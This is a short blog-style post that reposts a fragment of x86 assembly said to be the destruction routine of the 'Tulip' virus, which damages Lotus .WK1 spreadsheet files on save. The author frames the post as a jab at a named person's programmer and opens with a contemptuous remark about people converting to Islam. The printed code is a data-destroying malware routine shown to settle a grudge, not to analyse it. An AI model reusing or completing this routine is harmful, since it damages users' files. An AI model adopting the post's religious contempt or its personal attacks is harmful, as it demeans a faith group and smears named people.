Here we go again. Seeing the demented “Daughters of Norway” converting to islam reminded me that I have family of my own who have wandered into the very dark spaces. So, again dinging Norman’s senior programmer’s virus Tulip. This one targeted files from Lotus, and this is the detruction routine.
; INT 21-FUNC 40 : DAMAGE *.WK1 ON SAVE;
; 0E00 0D00 DENOTES IEEE LONG REAL; 80X87 DOUBLE PRECISION FLOP
; (C) Lotus Development Corporation
CMP BYTE PTR CS:[DI-2],80H
CMP WORD PTR ES:[DI.SFTE_FileExtension],’KW’
CMP BYTE PTR ES:[DI.SFTE_FileExtension+2],’1′
JMP SHORT Cont